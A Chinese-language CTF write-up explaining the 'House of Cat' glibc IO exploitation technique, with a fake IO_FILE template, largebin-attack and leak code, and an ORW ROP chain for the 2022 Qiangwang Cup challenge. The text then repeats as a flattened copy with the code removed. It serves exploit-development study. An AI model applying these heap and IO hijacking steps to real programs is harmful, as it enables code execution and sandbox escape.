新型 IO 利用方法初探—House of cat 学习利用
字数 1820 2025-08-23 18:31:08

House of Cat 新型 IO 利用方法详解

一、概述

House of Cat 是 catf1y 师傅在 2022 年 5 月发现并总结的一种新型 Glibc IO 利用方式,取自 2022 年强网杯的同名题目。该方法承袭了 House of Emma 的利用思路,通过修改虚表指针偏移来劫持程序 IO 流进行攻击。

二、前置知识

House of Emma

  • 利用 _IO_cookie_jumps 虚表中的函数指针
  • 需要攻击 TLS 上的 pointer_chk_guard
  • 有时需要爆破偏移

House of Cat 改进

  • 利用 _IO_wfile_jumps 函数中的 _IO_wfile_seekoff 函数
  • 转调用 _IO_switch_to_wget_mode 进行攻击
  • 避免了 House of Emma 中绕过 TLS 检测的复杂操作
  • 解决了 stderr 指针无法篡改的问题

三、调用链分析

_IO_wfile_jumps -> _IO_wfile_seekoff -> _IO_switch_to_wget_mode(fp)

关键函数分析

1. _IO_wfile_seekoff

off64_t _IO_wfile_seekoff(FILE *fp, off64_t offset, int dir, int mode) {
    // 检查条件
    int must_be_exact = ((fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end) 
                      && (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr));
    
    bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) 
                     || _IO_in_put_mode(fp));
    
    if (was_writing && _IO_switch_to_wget_mode(fp))
        return WEOF;
    // ...
}

2. _IO_switch_to_wget_mode

int _IO_switch_to_wget_mode(FILE *fp) {
    if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
        if ((wint_t)_IO_WOVERFLOW(fp, WEOF) == WEOF)
            return EOF;
    // ...
}

3. _IO_WOVERFLOW 宏

#define _IO_WOVERFLOW(FP, CH) WJUMP1(__overflow, FP, CH)

关键汇编代码:

mov rax, qword ptr [rdi + 0xa0]
mov rdx, qword ptr [rax + 0x20]
mov rax, qword ptr [rax + 0xe0]
call qword ptr [rax + 0x18]

四、利用条件

  1. 任意写能力:能控制一个可写地址(如通过 largebin attack)
  2. 地址泄露:能泄露 libc 地址和 heap 地址
  3. 触发 IO 流:可通过以下三种方式之一:
    • 调用 exit 或从 main 退出
    • puts、printf 函数调用
    • _malloc_assert

五、攻击方式

1. 修改 _IO_list_all

  • 将其改为可控地址
  • 在可控地址中伪造 fake_IO 结构体
  • 利用 FSOP 触发

2. 修改 stderr

  • 将其改为可控地址
  • 在可控地址中伪造 fake_IO 结构体
  • 利用 malloc_assert 触发

六、fake_io 构造

检测绕过条件

  1. (fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end)
  2. (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr)
  3. (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode(fp)

构造模板

fake_io_addr = heapbase + 0xb00  # 伪造的fake_IO结构体地址
next_chain = 0

fake_IO_FILE = p64(rdi)          # _flags=rdi
fake_IO_FILE += p64(0) * 7
fake_IO_FILE += p64(1) + p64(2)  # rcx!=0(FSOP)
fake_IO_FILE += p64(fake_io_addr + 0xb0)  # _IO_backup_base=rdx
fake_IO_FILE += p64(call_addr)   # _IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')
fake_IO_FILE += p64(0)           # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(heapbase + 0x1000)  # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, '\x00')
fake_IO_FILE += p64(fake_io_addr + 0x30)  # _wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')
fake_IO_FILE += p64(1)           # mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(libcbase + 0x2160c0 + 0x10)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0) * 6
fake_IO_FILE += p64(fake_io_addr + 0x40)  # rax2_addr

关键字段说明:

  • call_addr: setcontext 或 system 的地址
  • _IO_backup_base: 执行函数时的 rdx
  • _flags: 执行函数时的 rdi
  • 若使用 FSOP,需将 vtable 改为 IO_wfile_jumps+0x30

七、例题分析(2022强网杯 house of cat)

1. 程序分析

关键函数:

  • add: 使用 calloc 分配 largebin chunk
  • delete: 存在 UAF 漏洞
  • edit: 只能使用两次,用于 largebin attack
  • show: 泄露信息

限制条件:

  • 开启了沙箱(orw 可用)
  • 检测 read 的 fd
  • 无法使用 FSOP(无 exit 等返回方式)

2. 利用流程

  1. 泄露地址

    • 泄露 libc 地址和 heap 地址
  2. 两次 largebin attack

    • 第一次:修改 libc 中的 stderr
    • 第二次:修改 top_chunk size 以触发 _malloc_assert
  3. 伪造 fake_io

    • 构造满足条件的 fake_io 结构
  4. 触发攻击

    • 通过 _malloc_assert 触发 IO 链
    • 执行 orw 的 ROP 链(setcontext+0x61)
  5. 绕过沙箱限制

    • 使用 close(0) 使 flag 文件的文件描述符为 0

3. 关键步骤代码

泄露地址:

add(0, 0x420, b"000")  #0
add(1, 0x430, b"111")  #1
add(2, 0x418, b"222")  #2
free(0)
add(3, 0x440, b"333")  #3
show(0)  #p1
p.recvuntil("Context:\n")
libc_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x21a0d0
heap_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x290

largebin attack:

# 第一次:修改stderr
edit(0, p64(libc_base + 0x21a0d0)*2 + p64(heap_base + 0x290) + p64(stderr - 0x20))
add(5, 0x440, "55555")

# 第二次:修改top_chunk size
edit(5, p64(libc_base + 0x21a0e0)*2 + p64(heap_base + 0x1370) + p64(heap_base + 0x28e0 - 0x20 + 3))

ROP链构造:

rop = p64(pop_rdi) + p64(0) + p64(close)  # close(0)
rop += p64(pop_rdi) + p64(flag_addr) + p64(pop_rax) + p64(2) + p64(syscall_ret)  # open(flag)
rop += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(flag_addr + 0x10) + p64(pop_rdx_r12) + p64(0x100) + p64(0) + p64(read)  # read(0,flag_addr+0x10,0x100)
rop += p64(pop_rdi) + p64(flag_addr + 0x10) + p64(puts)  # puts(flag_addr+0x10)

八、总结

House of Cat 相比 House of Emma 有以下优势:

  1. 调用链更简单清晰
  2. 避免了复杂的 TLS 检测绕过
  3. 解决了 stderr 指针无法篡改的问题
  4. 在 FSOP 中也能使用

该方法是一个高效、可靠的 IO 攻击方式,适用于现代 Glibc 版本的利用场景。

House of Cat 新型 IO 利用方法详解 一、概述 House of Cat 是 catf1y 师傅在 2022 年 5 月发现并总结的一种新型 Glibc IO 利用方式,取自 2022 年强网杯的同名题目。该方法承袭了 House of Emma 的利用思路,通过修改虚表指针偏移来劫持程序 IO 流进行攻击。 二、前置知识 House of Emma 利用 _IO_cookie_jumps 虚表中的函数指针 需要攻击 TLS 上的 pointer_chk_guard 有时需要爆破偏移 House of Cat 改进 利用 _IO_wfile_jumps 函数中的 _IO_wfile_seekoff 函数 转调用 _IO_switch_to_wget_mode 进行攻击 避免了 House of Emma 中绕过 TLS 检测的复杂操作 解决了 stderr 指针无法篡改的问题 三、调用链分析 关键函数分析 1. _ IO_ wfile_ seekoff 2. _ IO_ switch_ to_ wget_ mode 3. _ IO_ WOVERFLOW 宏 关键汇编代码: 四、利用条件 任意写能力 :能控制一个可写地址(如通过 largebin attack) 地址泄露 :能泄露 libc 地址和 heap 地址 触发 IO 流 :可通过以下三种方式之一: 调用 exit 或从 main 退出 puts、printf 函数调用 _malloc_assert 五、攻击方式 1. 修改 _ IO_ list_ all 将其改为可控地址 在可控地址中伪造 fake_ IO 结构体 利用 FSOP 触发 2. 修改 stderr 将其改为可控地址 在可控地址中伪造 fake_ IO 结构体 利用 malloc_assert 触发 六、fake_ io 构造 检测绕过条件 (fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end) (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr) (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode(fp) 构造模板 关键字段说明: call_addr : setcontext 或 system 的地址 _IO_backup_base : 执行函数时的 rdx _flags : 执行函数时的 rdi 若使用 FSOP,需将 vtable 改为 IO_wfile_jumps+0x30 七、例题分析(2022强网杯 house of cat) 1. 程序分析 关键函数: add : 使用 calloc 分配 largebin chunk delete : 存在 UAF 漏洞 edit : 只能使用两次,用于 largebin attack show : 泄露信息 限制条件: 开启了沙箱(orw 可用) 检测 read 的 fd 无法使用 FSOP(无 exit 等返回方式) 2. 利用流程 泄露地址 : 泄露 libc 地址和 heap 地址 两次 largebin attack : 第一次:修改 libc 中的 stderr 第二次:修改 top_ chunk size 以触发 _malloc_assert 伪造 fake_ io : 构造满足条件的 fake_ io 结构 触发攻击 : 通过 _malloc_assert 触发 IO 链 执行 orw 的 ROP 链(setcontext+0x61) 绕过沙箱限制 : 使用 close(0) 使 flag 文件的文件描述符为 0 3. 关键步骤代码 泄露地址: largebin attack: ROP链构造: 八、总结 House of Cat 相比 House of Emma 有以下优势: 调用链更简单清晰 避免了复杂的 TLS 检测绕过 解决了 stderr 指针无法篡改的问题 在 FSOP 中也能使用 该方法是一个高效、可靠的 IO 攻击方式,适用于现代 Glibc 版本的利用场景。